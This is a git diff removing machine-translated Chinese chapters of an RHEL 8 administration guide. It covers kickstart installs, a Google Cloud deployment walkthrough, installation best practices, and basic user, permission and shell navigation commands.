文件包含一个加密的密码散列示例。 如果我们想要更改它,如果我们运行`python -c 'import crypt,getpass;pw=getpass.getpass();print(crypt.crypt(pw) if (pw==getpass.getpass("Confirm: ")) else exit())'`命令,可以生成一个新的加密的密码散列,将包含在这里。 - -现在,我们需要一个特殊的部分来配置`kdump`,以便自动保留内存: - -```sh -%addon com_redhat_kdump --enable --reserve-mb='auto' -%end -``` - -我们还需要一个特殊的部分,指定将用于安装的密码策略: - -```sh -%anaconda -pwpolicy root --minlen=6 --minquality=1 --notstrict --nochanges --notempty -pwpolicy user --minlen=6 --minquality=1 --notstrict --nochanges --emptyok -pwpolicy luks --minlen=6 --minquality=1 --notstrict --nochanges --notempty -%end -``` - -这样,我们重新安装系统的`kickstart`文件就完成了。 - -要使用它,我们需要将 kickstart 选项传递给安装程序。 为此,我们编辑内核参数。 让我们看看它是怎么做的。 - -我们在引导过程中按下*Tab*开始,同时选中**行 Install Red Hat Enterprise Linux 8.3**。 启动行,以**vmlinuz**开始,将出现在屏幕底部: - -![Figure 2.1 – RHEL8 Installer – Editing the boot line ](img/B16799_02_001.jpg) - -图 2.1 - RHEL8 安装程序-编辑引导行 - -让我们删除`quiet`选项,添加,让安装程序知道 kickstart 在哪里: - -![Figure 2.2 – RHEL8 Installer – Adding the kickstart option to the boot line ](img/B16799_02_002.jpg) - -图 2.2 - RHEL8 安装程序-将启动选项添加到启动行 - -我们添加的选项如下: - -```sh -inst.ks=hd:sdc1:/anaconda-ks.cfg -``` - -我们可以从三个方面来看看: - -* `hd`:kickstart 将在一个磁盘中,例如第二个 USB 驱动器。 -* `sdc1`:存放文件的设备。 -* `/anaconda-ks.cfg`:设备中 kickstart 文件的路径。 - -有了这个,我们可以复制我们已经完成的完整安装。 - -提示 - -Red Hat Enterprise Linux 8 自定义 Anaconda 指南提供了详细的选项,如果您希望创建自己的*Anaconda Kickstart*文件或进一步自定义此文件,您可以遵循该指南。 可以在这里访问:[https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html-single/customizing_anaconda/index](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html-single/customizing_anaconda/index)。 - -如您所见,创建一个启动文件并自动化 Red HatEnterprise Linux 的部署是非常容易的。 - -现在,让我们看看让 RHEL 8 实例可用的另一种方式:在云中。 - -# 部署 RHEL 到云端 - -在云上部署 Red Hat Enterprise Linux 与我们之前完成的部署有一些不同。 让我们来看看这些区别是什么: - -* We won't use an ISO image or Anaconda to perform a deployment, but a preconfigured image, usually prepared and made available by the cloud provider: - - -图像可以后来定制和适应我们的需要。 - -* 在安装期间,我们将无法选择系统的配置细节(例如,选择一个时区),但在安装之后将能够选择。 -* An automated mechanism will be in place to change settings, such as adding a user and their credentials to access the system or configure network: - - -云提供商使用的最扩展和最知名的机制是`cloud-init`。 - - —云提供商提供的一些映像包括`cloud-init`软件。 - - ——系统通常使用`ssh`远程访问协议和 SSH 密钥由用户生成的云提供商(请查看[*第八章*](08.html#_idTextAnchor119),*远程管理系统,为更多的细节关于如何访问系统)。* - - *重要提示* - - *在创建 RHEL 映像时,可以为云或虚拟化创建我们自己的映像。 为此,我们可以使用 Red Hat Enterprise Linux 映像构建器([https://developers.redhat.com/blog/2019/05/08/red-hat-enterprise-linux-8-image-builder-building-custom-system-img/](https://developers.redhat.com/blog/2019/05/08/red-hat-enterprise-linux-8-image-builder-building-custom-system-img/))。 然而,它不是 RHCSA 的一部分,所以它不会被涵盖在这本书。 相反,我们将采用采用默认映像并自定义它的方法。* - - *云提供商提出了一个初始的启动方案,你可以免费试用他们的服务。 这是开始使用 RHEL 和云服务的好方法。 - -在这本书中,我们将使用谷歌云作为一个例子,所以其他云将不会被涵盖。 我们将提供一个简单的示例,说明如何在这个云环境中创建和修改 Red Hat Enterprise Linux 8 实例。 为此,我们将使用**谷歌云**(它提供了,截至 2020 年 12 月,一个初始信用,可以持续完成这本书所需的整个时间)。 - -要阅读本章,你需要完成以下步骤: - -1. 如果你没有一个谷歌帐户,你将需要创建一个(如果你使用 Gmail 和/或 Android 手机,你将已经有一个)。 -2. 在[https://accounts.google.com](https://accounts.google.com)登录到您的谷歌帐户(或检查您已经登录)。 你将被要求注册一个免费试用,然后你必须提供一个信用卡号。 -3. 登录[https://cloud.google.com/free](https://cloud.google.com/free)申请免费积分。 -4. 转到云控制台[https://console.cloud.google.com](https://console.cloud.google.com)。 -5. Go to the **Projects** menu, which is shown here as **No organization** at the top bar, to show the projects for the new account: - - ![Figure 2.3 – RHEL8 in Google Cloud – Organization menu access ](img/B16799_02_003.jpg) - - 图 2.3 - RHEL8 在谷歌云组织菜单访问 - -6. Click on **NEW PROJECT**: - - ![Figure 2.4 – RHEL8 in Google Cloud – Organization menu ](img/B16799_02_004.jpg) - - 图 2.4 -谷歌云组织菜单中的 RHEL8 - -7. Name it `RHEL8` and click **CREATE**: - - ![Figure 2.5 – RHEL8 in Google Cloud – Organization menu; create new project ](img/B16799_02_005.jpg) - - 图 2.5 -谷歌云组织菜单中的 RHEL8; 创建新项目 - - 重要提示 - - 根据如何配置您的谷歌帐户,您可能需要在此步骤之后启用计费功能。 - -8. Go to the top-left menu (also called **Hamburger Menu**, with three horizontal lines next to it), click on **Compute Engine**, and then click on **VM Instances**: - - ![Figure 2.6 – RHEL8 in Google Cloud – Access the VM Instances menu ](img/B16799_02_006.jpg) - - 图 2.6 -谷歌云中的 RHEL8 -访问 VM 实例菜单 - -9. Once **Compute Engine** is ready (this may take a few minutes), click on **Create**: - - ![Figure 2.7 – RHEL8 in Google Cloud – create new VM instance ](img/B16799_02_007.jpg) - - 图 2.7 -谷歌云中的 RHEL8 -创建新的 VM 实例 - -10. We will name the instance `rhel8-instance`: - - ![Figure 2.8 – RHEL8 in Google Cloud – Create new VM instance; name ](img/B16799_02_008.jpg) - - 图 2.8 -谷歌云中的 RHEL8 -创建新的 VM 实例; 的名字 - -11. Select the most convenient region (or leave the one already provided): - - ![Figure 2.9 – RHEL8 in Google Cloud – Create new VM instance, region, and zone ](img/B16799_02_009.jpg) - - 图 2.9 -谷歌云中的 RHEL8 -创建新的 VM 实例、区域和 zone - -12. Set the machine family and type to **General purpose** | **e2-medium**: - - ![Figure 2.10 – RHEL8 in Google Cloud – Create new VM instance, type, and size ](img/B16799_02_010.jpg) - - 图 2.10 -谷歌云中的 RHEL8 -创建新的虚拟机实例、类型和大小 - -13. Click **Change** next to boot disk: - - ![Figure 2.11 – RHEL8 in Google Cloud – Changing the boot disk ](img/B16799_02_011.jpg) - - 图 2.11 -谷歌云中的 RHEL8 -更改引导磁盘 - -14. Change **Operating system** to **Red Hat Enterprise Linux** and **Version** to **Red Hat Enterprise Linux 8**. Then, click **Select**: - - ![Figure 2.12 – RHEL8 in Google Cloud – Create new VM instance, image selection, and disk size ](img/B16799_02_012.jpg) - - 图 2.12 -谷歌云中的 RHEL8 -创建新的虚拟机实例、映像选择和磁盘大小 - -15. Click **Create** and wait for the instance to be created: - - ![Figure 2.13 – RHEL8 in Google Cloud – VM instance list ](img/B16799_02_013.jpg) - - 图 2.13 -谷歌云-虚拟机实例列表中的 RHEL8 - -16. Later, we will learn how to connect via `SSH`. Now, click on the triangle next to `SSH`, under **Connect**, and select **Open in browser window**, as follows: - - ![Figure 2.14 – RHEL8 in Google Cloud – VM instance, access console ](img/B16799_02_014.jpg) - - 图 2.14 -谷歌云中的 RHEL8 - VM 实例,访问控制台 - -17. 这样,您的新鲜 RHEL8 实例将被部署,如下面的截图所示: - -![Figure 2.15 – RHEL8 in Google Cloud – VM instance, console ](img/B16799_02_015.jpg) - -图 2.15 -谷歌云中的 RHEL8 -虚拟机实例,控制台 - -需要一些时间去建立在云中,配置您的帐户,并找到`SSH`键(将所示[*第八章*](08.html#_idTextAnchor119),*远程管理系统),但是一旦它所有的设置,很容易得到一个新实例启动并运行。* - - *要成为管理员,只需要执行以下命令: - -```sh -[miguel@rhel8-instance ~]$ sudo -i -[root@rhel8-instance ~]# -``` - -现在,您可以用`timedatectl`检查时间配置,并更改: - -```sh -[root@rhel8-instance ~]# timedatectl - Local time: Sat 2020-12-12 17:13:29 UTC - Universal time: Sat 2020-12-12 17:13:29 UTC - RTC time: Sat 2020-12-12 17:13:29 - Time zone: UTC (UTC, +0000) -System clock synchronized: yes - NTP service: active - RTC in local TZ: no -[root@rhel8-instance ~]# timedatectl set-timezone Europe/Madrid -[root@rhel8-instance ~]# timedatectl - Local time: Sat 2020-12-12 18:20:32 CET - Universal time: Sat 2020-12-12 17:20:32 UTC - RTC time: Sat 2020-12-12 17:20:32 - Time zone: Europe/Madrid (CET, +0100) -System clock synchronized: yes - NTP service: active - RTC in local TZ: no -``` - -你也可以用`localectl`改变语言配置: - -```sh -[root@rhel8-instance ~]# localectl - System Locale: LANG=en_US.UTF-8 - VC Keymap: us - X11 Layout: n/a -``` - -要更改`locale`或语言支持,您需要首先安装其*语言包*,如下所示: - -```sh -[root@rhel8-instance ~]# yum install glibc-langpack-es –y -... [output omitted] ... -[root@rhel8-instance ~]# localectl set-locale es_ES.utf8 -[root@rhel8-instance ~]# localectl - System Locale: LANG=es_ES.utf8 - VC Keymap: us - X11 Layout: n/a -``` - -现在,您有了一台配置了的机器,您可以在本书中使用它。 不需要继续进行这些区域设置更改,只需创建具有与前一章相同配置的机器即可。 - -现在我们知道了如何使用 Anaconda 自动重新部署 vm,以及如何在云中获取实例,让我们继续,看看在执行安装时需要考虑的一些最佳实践。 - -# 安装最佳实践 - -Red Hat Enterprise Linux 安装**有许多选项可供选择,您选择的内容应根据您的具体用例进行定制。 然而,一些常见的建议也适用。 让我们看看最常见的类型。** - - **第一种类型为**蓝图**: - -* Standardize the core installation and create a blueprint for it: - - -该蓝图应足够小,以作为所有其他蓝图和部署的基础。 - -* Build a set of blueprints for common cases when needed: - - -尝试使用自动化平台来构建扩展案例(即 Ansible)。 - - -尽量使案例模块化(即 App Server; 数据库蓝图可以合并到一台机器中)。 - - —注意必须应用到模板蓝图中的要求,并适应您将使用的环境。 - -第二种类型为**软件**: - -* 安装的软件越少,攻击的表面就越小。 尽量让服务器上只保留运行和操作所需的最小包集(也就是说,尽量不要向服务器添加图形用户界面)。 -* 在可能的地方标准化安装的工具,以便在紧急情况下能够快速反应。 -* 打包您的第三方应用,以便您拥有健康的生命周期管理(无论是使用 RPM 还是在容器中)。 -* 建立一个补丁计划。 - -第三种类型为**n****网络**: - -* 在虚拟机中,尽量不要过度使用网络接口的数量。 -* 在物理机器中,尽可能使用接口组合/绑定。 使用 vlan 对网络进行分段。 - -第四种类型为**存储**: - -* 对于服务器,尽可能使用**逻辑卷管理**(**LVM**)(通常是除`/boot`或`/boot/efi`之外的所有内容)。 -* 如果您认为您将需要减少您的文件系统,使用*ext4*; 否则,使用默认的*xfs*。 -* Partition the disk carefully: - - —保持默认启动分区大小。 如果你改变了它,就放大它(在升级过程中你可能需要空间)。 - - —默认的交换分区是最安全的下注,除非第三方软件有特殊要求。 - - 长期存在的系统,至少有单独的分区`/`(根)`/var`,`/usr`,`/tmp`,`/home`,甚至考虑另一个单独的`/var/log`和`/opt`(短暂的云实例或短暂的系统,这个不适用)。 - -第五种类型为**安全**: - -* 不要禁用*SELinux*。 它在最新版本中已经改进了很多,很可能不会干扰您的系统(如果需要,将它设置为允许模式,而不是完全禁用它)。 -* 请勿禁用防火墙。 通过服务部署自动打开端口。 -* 尽可能将日志重定向到中心位置。 -* 标准化您希望安装的安全工具和配置,以检查系统完整性和审计(即:*AIDE*、*logwatch*和*auditd*)。 -* 检查软件安装(*RPM*)*GPG*键,以及 ISO 镜像,以确保完整性。 -* 尽量避免使用密码(尤其是你的根帐户),在需要的时候使用强密码。 -* 使用*OpenSCAP*检查系统以检查安全性(如果需要,在安全团队的帮助下创建您自己的硬件 SCAP 配置文件)。 - -最后,我们将看一下**miscellanea**type: - -* 保持系统时间同步。 -* 检查*logrotate*策略以避免由于日志导致的“磁盘满”错误。 - -遵循这些最佳实践将帮助您避免问题,并使所安装的基础更加易于管理。 这样,您就知道了如何以结构化的、可重复的方式在系统上部署 Red Hat Enterprise Linux,同时以快速和弹性的方式为其他团队提供服务。 - -# 总结 - -在前一章中,我们提到了如何准备一台可以在本书中使用的机器。 另一种选择是使用云实例,我们可以使用来自公共云的虚拟机实例,这可能简化我们的消费,并为我们提供足够的免费信贷来准备*RHCSA*。 此外,一旦自我训练过程完成,机器仍然可以用来提供自己的公共服务(如部署博客)。 - -当您作为专业人员使用 Linux 时,理解对环境进行标准化的需要以及这样做的影响也很重要。 从一开始就采用一组良好的实践(自动化安装、跟踪已安装软件、减少攻击面等等)是非常关键的。 - -现在您已经完成了本章,您已经准备好继续阅读本书的其余部分,因为您现在有了一个可以使用的 Red Hat Enterprise Linux 8 实例。 在下一章中,我们将回顾该系统的基础知识,使我们在使用该系统时感到舒适并获得信心。****** \ No newline at end of file diff --git a/docs/rhel8-admin/03.md b/docs/rhel8-admin/03.md deleted file mode 100644 index dc11e9c7..00000000 --- a/docs/rhel8-admin/03.md +++ /dev/null @@ -1,1470 +0,0 @@ -# 三、基本命令和简单 Shell 脚本 - -一旦您的第一个**Red Hat Enterprise Linux (RHEL)**系统开始运行,您就会希望开始使用它、练习它,并逐渐适应它。 在本章中,我们将回顾登录系统的基础知识,通过它导航,并了解其管理方面的基础知识。 - -本章中描述的命令和实践集将在管理系统的许多场合中使用,因此仔细研究它们是很重要的。 - -本章将涵盖以下主题: - -* 以用户身份登录并管理多用户环境 -* 使用 su 命令更改用户 -* 使用命令行、环境变量并在文件系统中导航 -* 在命令行中理解 I/O 重定向 -* 过滤输出与 grep 和 sed -* 列出、创建、复制和移动文件和目录、链接和硬链接 -* 使用 tar 和 gzip -* 创建基本的 shell 脚本 -* 使用系统文档资源 - -# 以用户身份登录并管理多用户环境 - -**登录**过程中用户标识自己的系统,通常通过提供一个**密码用户名**和**,几条信息通常被称为*【凭证 T7】。*** - - **可以通过多种方式访问系统。 最初的情况是,当用户安装物理机器(如笔记本电脑)或通过虚拟化软件接口访问它时,我们将在这里讨论。 在本例中,我们通过*控制台*访问系统。 - -在安装过程中,使用指定的密码创建用户,并且没有安装图形界面。 在本例中,我们将通过它的*文本控制台*访问系统。 我们要做的第一件事是使用它登录到系统。 一旦我们启动机器并完成引导过程,默认情况下,我们将进入多用户文本模式环境,在该环境中我们被请求提供我们的**登录**: - -![Figure 3.1 – Login process, username request ](img/B16799_03_001.jpg) - -图 3.1 -登录过程,用户名请求 - -闪烁的光标会让我们知道我们已经准备好输入用户名了,在本例中是`user`,然后按*enter*。 将出现请求密码的一行: - -![Figure 3.2 – Login process, password request ](img/B16799_03_002.jpg) - -图 3.2 -登录过程,密码请求 - -现在我们可以键入用户的密码来完成登录,然后在键盘上按*Enter*,开始会话。 注意,输入密码时屏幕上不会显示任何字符,以避免被窃听。 这将是正在运行的会话: - -![Figure 3.3 – Login process, login completed, session running ](img/B16799_03_003.jpg) - -图 3.3 -登录过程,登录完成,会话正在运行 - -现在,我们使用名为`user`的用户的*凭据*完全登录到系统。 这将定义我们可以在系统中做什么,我们可以访问哪些文件,甚至我们已经分配了多少磁盘空间。 - -控制台可以有多个会话。 为了实现这一点,我们有不同的终端,通过它们我们可以登录。 同时按*Ctrl + Alt + F1*键可以到达默认终端。 在我们的例子中,什么也不会发生,因为我们已经在那个终端中了。 我们可以移动到第二个终端按*Ctrl + Alt + F2*,到第三个*按 Ctrl + Alt + F3*,等等其他的终端(默认情况下,6 分配)。 这样,我们可以在不同的终端上运行不同的命令。 - -## 使用 root 帐号 - -常规用户将不能对系统进行更改,例如创建新用户或向整个系统添加新软件。 为此,我们需要一个具有管理权限的用户,为此,默认用户是`root`。 该用户在系统中始终存在,其标识符(**用户 Id**或**UID**)的值为`0`。 - -在前面的安装中,我们已经配置了根密码,使该帐户可以通过控制台访问。 日志系统中使用它,我们只需要类型,在一个终端显示,旁边**登录**,用户`root`,然后点击*进入*,然后提供**【T7 密码】,它不会显示出来。 这样,我们将以管理员身份访问系统,`root`:** - -![Figure 3.4 – Login process, login completed as root ](img/B16799_03_004.jpg) - -图 3.4 -登录过程,以 root 身份登录完成 - -## 使用和理解命令提示符 - -当我们登录并等待输入并运行命令时,出现的命令行称为**命令提示符**。 - -在其默认的配置中,它将在括号中显示*用户名*和*主机名*,让我们知道我们正在使用哪个用户。 接下来,我们看到路径,在本例中为`~`,它是**用户的主目录**的快捷方式(换句话说,`user`为`/home/user`,`root`为`/root`) - -最后一部分,可能也是最重要的一部分,是提示符之前的符号: - -* 符号用于没有管理权限的常规用途。 -* The `#` symbol is used for root or once a user has acquired administrative privileges. - - 重要提示 - - 在使用带有`#`标志的提示符时要小心,因为您将以管理员身份运行,系统很可能不会阻止您破坏它。 - -一旦我们在系统中确认了自己的身份,我们就登录并开始运行会话。 在下一节中,是时候学习如何从一个用户更改到另一个用户了。 - -# 使用 su 命令更改用户 - -由于我们已经进入了**多用户系统**,因此可以认为能够在用户之间进行更改。 即使这可以通过为每个人打开一个会话轻松完成,有时我们想在我们所在的会话中充当其他用户。 - -为此,我们可以使用工具`su`。 工具的名称通常称为**替代用户**。 - -让我们使用最后一个以`root`身份登录的会话,并将自己转换为`user`用户。 - -在这样做之前,我们总是可以通过运行`whoami`命令来询问我登录的是哪个用户: - -```sh -[root@rhel8 ~]# whoami -root -``` - -现在我们可以将`root`更改为`user`: - -```sh -[root@rhel8 ~]# su user -[user@rhel8 root]$ whoami -user -``` - -现在我们有一个作为`user`用户的会话。 我们可以使用`exit`命令来结束这个会话: - -```sh -[user@rhel8 root]$ exit -exit -[root@rhel8 ~]# whoami -root -``` - -您可能已经看到,当我们以`root`身份登录时,我们可以作为任何用户而不知道其密码。 但是我们如何模仿`root`? 我们可以通过运行`su`命令并指定`root`用户来实现。 在此情况下,将请求 root 用户的密码: - -```sh -[user@rhel8 ~]$ su root -Password: -[root@rhel8 user]# whoami -root -``` - -由于`root`是 ID`0`的用户,并且是最重要的用户,在运行`su`而不指定我们想要转向的用户时,它将默认为`root`: - -```sh -[user@rhel8 ~]$ su -Password: -[root@rhel8 user]# whoami -root -``` - -每个用户都可以在自己的环境中定义几个选项,例如,他们喜欢的编辑器。 如果我们想完全模拟其他用户并获取他们的首选项(或**环境变量**,因为它们在许多情况下被声明和引用),我们可以通过在`su`命令后添加`-`来实现: - -```sh -[user@rhel8 ~]$ su - -Password: -Last login: mar dic 22 04:57:29 CET 2020 on pts/0 -[root@rhel8 ~]# -``` - -同样,我们可以从`root`切换到`user`: - -```sh -[root@rhel8 ~]# su - user -Last login: Tue Dec 22 04:53:02 CET 2020 from 192.168.122.1 on pts/0 -[user@rhel8 ~]$ -``` - -正如您可以观察到的,它的行为就像一个新的登录被完成了,但是在相同的会话中。 现在,让我们继续管理系统中不同用户的权限,这将在下一节中讨论。 - -# 了解用户、组和基本权限 - -多用户环境的定义是能够同时处理多个用户。 但是为了能够管理系统资源,有两个功能可以帮助完成任务: - -* **Groups**: Can aggregate users and provide permission for them in blocks. - - 每个用户都有一个*主组*。 - - 默认情况下,为每个用户创建一个组,并将其作为主组分配给它,该组的名称与用户名相同。 - -* **Permissions**: Are assigned to files and determine which users and groups can access each file. - - 标准 Linux(和 UNIX/POSIX)权限包括*用户*、*组*和*其他权限*(`ugo`)。 - -整个系统默认情况下都有一组分配给每个文件和目录的权限。 更换时要小心。 - -UNIX 中有一个 Linux 继承的原则:*一切都是一个文件*。 即使这个原则可能存在一些极端情况,它几乎在任何情况下都是正确的。 这意味着磁盘被表示为系统中的一个文件(换句话说,就像安装中提到的`/dev/sdb`),进程可以表示为一个文件(在`/proc`中),系统中的许多其他组件也可以表示为文件。 - -这意味着,当为文件分配权限时,我们还可以将权限分配给由它们实现的许多其他组件和功能,因为在 Linux 中,所有东西都表示为一个文件。 - -提示 - -**POSIX**代表**Portable Operating System Interface**,是 IEEEComputer Society:[https://en.wikipedia.org/wiki/POSIX](https://en.wikipedia.org/wiki/POSIX)规定的系列标准。 - -## 用户 - -用户是为系统中运行的程序和人员提供安全限制的一种方式。 有三类用户: - -* **常规用户**:分配给个人执行他们的工作。 他们受到了限制。 -* **超级用户**:也可以称为“root”。 这是系统中的主要管理帐户,拥有对它的完全访问权。 -* **系统用户**:这些是用户帐户,通常分配给正在运行的进程或“守护进程”,以限制它们在系统中的权限。 系统用户不打算登录到系统。 - -用户有一个名为**UID(用户 Id)**的号码,系统使用该号码在内部标识每个用户。 - -我们以前使用`whoami`命令来显示我们正在与哪个用户一起工作,但是为了获得更多信息,我们将使用`id`命令: - -```sh -[user@rhel8 ~]$ id -uid=1000(user) gid=1000(user) groups=1000(user),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 -``` - -我们也可以查看系统中其他用户账号的相关信息,甚至可以获取关于`root`的信息: - -```sh -[user@rhel8 ~]$ id root -uid=0(root) gid=0(root) groups=0(root) -``` - -现在,让我们以为例,看看通过运行`id`我们收到的`user`的信息: - -* `uid=1000(user)`:用户 ID 是系统中用户的数字标识符。 在本例中,它是`1000`。 在 RHEL 中,1000 及以上的标识符用于普通用户,而 999 及以下为系统用户保留。 -* `gid=1000(user)`:组 ID 是分配给用户的主组的数字标识符。 -* `groups=1000(user),10(wheel)`:这些是用户所属的组,在本例中是具有**组 ID (GID)**1000 的“user”和具有 GID 10 的“wheel”。 “wheel”用户组是一个特殊的用户组。 它在 RHEL 和许多其他系统中用作用户组,这些用户可以通过使用`sudo`工具(稍后解释)成为管理员。 -* `context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023`:这是用户的 SELinux 上下文。 它将定义几个限制系统中通过使用**SELinux**(在深度解释[*第十章*](10.html#_idTextAnchor143)、【显示】让你的系统与 SELinux 硬化)。 - -id 相关数据存储在系统中的`/etc/passwd`文件中。 请注意,该文件非常敏感,使用相关工具可以更好地管理它。 如果我们想要编辑它,我们将通过使用`vipw`来实现,该工具将确保(除其他外)在任何时候只有一个管理员在编辑文件。 `/etc/passwd`文件包含每行每个用户的信息。 以下是`user`的线路: - -```sh -user:x:1000:1000:user:/home/user:/bin/bash -``` - -每个字段由冒号分隔,每行中有`:`。 让我们回顾一下它们的意思: - -* `user`:分配给用户的用户名。 -* `x`:加密密码字段。 在本例中,它显示为`x`,因为它已经移动到`/etc/shadow`,普通用户不能直接访问它,从而使系统更加安全。 -* `1000`(第一个):*UID*值。 -* `1000`(第二个):*GID*值。 -* `user`:账号描述。 -* `/home/user`:分配给用户的主目录。 这将是用户工作的默认目录(如果愿意,也可以是文件夹),以及他们的首选项将存储在何处。 -* `/bin/bash`:用户的命令解释器。 Bash 是 RHEL 中的默认解释器。 可以在 RHEL 中安装其他替代方案,如`tcsh,``zsh`或`fish`。 - -## 组 - -**组**是一种以动态方式将某些权限分配给用户子集的方法。 作为一个例子,让我们想象一个场景,我们有一个财务团队。 我们可以创建*金融*组,并提供`/srv/finance`目录的访问、读和写权限。 当财务团队有新员工时,为了向他们提供对该文件夹的访问权限,我们只需要将分配给这个人的用户添加到`finance`组(如果有人离开团队,这也适用; 我们只需要从`finance`组中删除他们的帐户)。 - -组有一个被称为**GID**的编号,系统使用该编号在内部识别组。 - -组的数据存储在系统中的`/etc/group`文件中。 为了以确保一致性和避免损坏的方式编辑该文件,我们必须使用`vigr`工具。 该文件每行包含一组,不同的字段由冒号`:`分隔。 让我们来看一下`wheel`组的情况: - -```sh -wheel:x:10:user -``` - -让我们回顾一下每个字段的含义: - -* `wheel`:这是小组的名字。 在这种情况下,这个组是特殊的,因为在默认情况下,它被配置为为普通用户提供管理权限的组。 -* `x`:这是组密码字段。 它现在已经过时了,应该总是包含`x`。 保留它是为了兼容性的目的。 -* `10`:组本身的 GID 值。 -* `user`:这是属于该组的用户列表(用逗号分隔,例如`user1`、`user2`和`user3`)。 - -分组的类型如下: - -* **主组**:这是分配给用户新创建的文件的组。 -* 私有组**:这是为每个用户创建的与用户同名的特定组。 当添加一个新的用户帐户时,将自动为其创建一个私有组。 “主群”和“私群”是同一类的现象非常普遍。** -*** **补充组**:这是另一个通常为特定目的而创建的组。 通过示例,我们可以看到`wheel`组用于向用户启用管理员权限,或者`cdrom`组用于提供对系统中的 cd 和 DVD 设备的访问。** - - **## 文件权限 - -要查看**文件权限**,我们将以`root`身份登录系统。 我们将使用`ls`命令列出文件,并检查与它们相关联的权限。 我们将在[*第 5 章*](05.html#_idTextAnchor081),*使用用户、组和权限保护系统*中了解更多关于如何更改权限的内容。 - -以`root`的身份登录到系统后,可以运行`ls`命令: - -```sh -[root@rhel8 ~]# ls -anaconda-ks.cfg -``` - -这显示了根用户主目录*中存在的文件*,用`~`表示。 在本例中,它显示了由*Anaconda*创建的*kickstart*文件,我们在前一章中已经讨论过了。 - -我们可以通过将`-l`选项附加到`ls`来获得列表的长版本: - -```sh -[root@rhel8 ~]# ls -l -total 4 --rw-------. 1 root root 1393 Dec  7 16:45 anaconda-ks.cfg -``` - -我们在输出中看到以下的: - -* `total 4`:这是文件在磁盘中占用的总空间,以千字节为单位(请注意,我们使用的是 4K 块,因此在该大小下的每个文件将最少占用 4K)。 -* `-rw-------.`:这些是分配给文件的权限。 - -权限结构如下图所示: - -![Figure 3.5 – Linux permissions structure ](img/B16799_03_005.jpg) - -图 3.5 - Linux 权限结构 - -第一个字符用于文件可能具有的*特殊权限*。 如果它是一个普通文件,并且没有特殊权限(就像在这个例子中),它将显示为`-`: - -* 目录将以`d`显示。 假设在 Linux 中,所有东西都是一个文件,目录是一个具有特殊权限的文件。 -* 链接,通常是符号链接,将以`l`显示。 它们的行为类似于来自不同目录的文件的快捷方式。 -* 作为不同的用户或组(称为**setuid**或**setgid**)运行文件的特殊权限将显示为`s`。 -* 一个特殊的权限显示为`t`,所有者只能删除或重命名文件,称为**粘着位**。 - -接下来的三个字符`rw-`是*所有者*的权限: - -* 第一个,`r`,是分配的读权限。 -* 第二个,`w`,是分配的写权限。 -* 第三个是`x`,不存在并显示为`-`,它是可执行权限。 注意,目录的可执行权限意味着能够输入它们。 - -接下来的三个字符`---`用于*组*权限,其工作方式与所有者权限相同。 在这种情况下,不授予组访问权限。 - -最后三个字符`---`是其他字符*的权限*,这意味着用户和/或组不显示为分配给文件的权限: - -* `1`:表示到该文件的**链接**(硬链接)的数量。 这样做的目的之一是,我们不会删除另一个文件夹中使用的文件。 -* `root`:文件的(首次)所有者。 -* `root`:表示分配给该文件的(第二次)组。 -* `1393`:以字节为单位的大小。 -* `Dec 7 16:45`:这表示文件最后一次修改的日期和时间。 -* `anaconda-ks.cfg`:文件名。 - -当我们列出一个目录(在其他系统中称为*文件夹*)时,输出将显示该目录本身的内容。 我们可以用`-d``option`来列出目录本身的信息。 现在让我们看看存储系统级配置的目录`/etc`: - -```sh -[root@rhel8 ~]# ls -l -d /etc -drwxr-xr-x. 81 root root 8192 Dec 23 17:03 /etc -``` - -正如您可以看到的,很容易获得与系统中的文件和目录有关的信息。 现在,让我们在下一节中了解更多关于命令行和如何导航文件系统的信息,以便轻松地在系统中移动。 - -# 使用命令行、环境变量和在文件系统中导航 - -正如前面看到的,一旦我们*登录*到系统,我们就可以访问命令行。 良好地导航命令行和文件系统是很重要的,这样才能适应环境并充分利用它。 - -## 命令行和环境变量 - -命令行由程序(也称为*解释器*或**shell**提供。 根据我们使用的 shell 不同,它的行为会有所不同,但是在本节中,我们将介绍 Linux 中最广泛使用的 shell 以及 RHEL:**bash**中默认提供的 shell。 - -一个简单的技巧来知道您正在使用的 shell 是运行以下命令: - -```sh -[root@rhel8 ~]# echo $SHELL -/bin/bash -``` - -`echo`命令将在屏幕上显示我们给它的任何内容。 有些内容需要*替换*或*解释*,如环境变量。 要替换的内容以`$`符号开始。 在本例中,我们将`SHELL`变量的内容告知系统`echo`。 让我们将它用于其他变量: - -```sh -[root@rhel8 ~]# echo $USER -root -[root@rhel8 ~]# echo $HOME -/root -``` - -这些是可以为每个用户定制的**环境变量**。 现在让我们为不同的用户检查: - -```sh -[root@rhel8 ~]# su - user -Last login: Wed Dec 23 17:03:32 CET 2020 from 192.168.122.1 on pts/0 -[user@rhel8 ~]$ echo $USER -user -[user@rhel8 ~]$  echo $HOME -/home/user -``` - -正如你所看到的,你可以参考`$USER`和,它将与当前代替用户,或`$HOME`,它将替换目录用户专用的,也被称为**主目录【5】。** - -以下是一些最常见和最重要的环境变量*:* - -![](img/B16799_03_Table_01.jpg) - -为了为当前用户更改这些值,应该编辑`~/.bashrc`文件。 - -## 导航文件系统 - -现在是时候将我们移动到系统的**目录树**。 在 Linux 和 Unix (macOS 是类 Unix 的系统)中,没有驱动器号,只有一个以*根目录*开头的目录树,用`/`表示。 系统的其余内容将挂起该文件夹,并且将为要访问的任何其他磁盘或设备分配一个要访问的目录。 - -重要提示 - -*根用户*的*根目录*和*主目录*是两个不同的东西。 默认情况下,*根用户*已经分配了主目录`/root`,而*根目录*是系统中所有目录的母目录,由`/`表示。 - -我们可以通过运行`pwd`命令来查看我们所处的目录: - -```sh -[user@rhel8 ~]$ pwd -/home/user -``` - -我们可以使用`cd`命令来更改目录: - -```sh -[user@rhel8 ~]$ cd /var/tmp -[user@rhel8 tmp]$ pwd -/var/tmp -``` - -正如您已经知道的,对于当前用户`~`的主目录,有一个**快捷方式**。 我们可以使用这个快捷方式来访问它: - -```sh -[user@rhel8 tmp]$ cd ~ -[user@rhel8 ~]$ pwd -/home/user -``` - -目录的一些快捷方式包括: - -* **"~":**这是当前用户的家。 -* **” :**这是当前目录。 -* “… :这是父目录。 -* **"-":**这是先前使用的目录。 - -关于在 Linux 和 RHEL 中管理文件和目录的更多细节可以在*清单、创建、复制和移动文件和目录、链接和硬链接*一节中找到。 - -## Bash 自动完成 - 